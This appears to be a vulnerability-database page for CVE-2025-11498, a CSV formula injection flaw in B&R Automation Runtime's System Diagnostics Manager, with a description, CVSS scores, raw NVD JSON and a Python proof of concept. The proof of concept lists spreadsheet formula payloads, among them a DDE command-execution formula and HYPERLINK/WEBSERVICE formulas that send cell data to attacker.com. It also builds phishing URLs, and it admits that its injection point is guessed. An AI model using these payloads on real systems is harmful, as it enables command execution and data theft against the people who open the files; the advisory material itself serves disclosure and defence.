Security Vulnerability Report
中文
CVE-2025-11498 CVSS 6.1 MEDIUM

CVE-2025-11498

Published: 2025-10-14 13:15:37
Last Modified: 2026-04-15 00:35:42

Description

An Improper Neutralization of Formula Elements in a CSV File vulnerability exists in System Diagnostics Manager (SDM) of B&R Automation Runtime versions before 6.4 enabling a remote attacker to inject formula data into a generated CSV file. The exploitation of this vulnerability requires the attacker to create a malicious link. The user would need to click on this link, after which the resulting CSV file addi-tionally needs to be manually opened.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

B&R Automation Runtime < 6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-11498 - B&R Automation Runtime SDM CSV Formula Injection PoC # This PoC demonstrates the CSV injection attack vector against SDM import urllib.parse import http.client # Malicious formula payloads for CSV injection PAYLOADS = [ # DDE-based command execution (Microsoft Excel) '=cmd|\'/C calc\'!A0', # HYPERLINK-based data exfiltration '=HYPERLINK("http://attacker.com/exfil?data="&A1, "View Report")', # WEBSERVICE-based SSRF '=WEBSERVICE("http://attacker.com/"&A1)', # Data exfiltration via formula '=2+5+cmd|\'/C calc\'!A0', ] def craft_malicious_url(target_host, target_port, sdm_path, payload): """Craft a malicious URL that triggers SDM to generate CSV with injected formula""" encoded_payload = urllib.parse.quote(payload) # The injection point varies depending on SDM's URL parameter handling # Common injection vectors include report parameters, system names, or diagnostic queries malicious_url = f"http://{target_host}:{target_port}{sdm_path}?system={encoded_payload}&action=diagnostics&export=csv" return malicious_url def exploit(target_host, target_port=80, sdm_path="/sdm/diagnostics"): """Main exploitation function""" for payload in PAYLOADS: url = craft_malicious_url(target_host, target_port, sdm_path, payload) print(f"[*] Malicious URL crafted: {url}") # In a real attack scenario, this URL would be sent to the victim # via phishing email, social engineering, or embedded in a webpage # Example of malicious CSV output that SDM would generate: malicious_csv = """System Diagnostics Report\nTimestamp,System,Status,Details\n2025-10-14,=cmd|'/C calc'!A0,Running,Normal\n""" print(f"[*] Expected malicious CSV content:\n{malicious_csv}") if __name__ == "__main__": exploit("victim-bnr-runtime.local")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-11498", "sourceIdentifier": "[email protected]", "published": "2025-10-14T13:15:36.767", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An Improper Neutralization of Formula Elements in a CSV File vulnerability exists in System Diagnostics Manager (SDM) of B&R Automation Runtime versions before 6.4 enabling a remote attacker to inject formula data into a generated CSV file. The exploitation of this vulnerability requires the attacker to create a malicious link. The user would need to click on this link, after which the resulting CSV file addi-tionally needs to be manually opened."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-1236"}]}], "references": [{"url": "https://www.br-automation.com/fileadmin/SA25P003-178b6a20.pdf", "source": "[email protected]"}]}}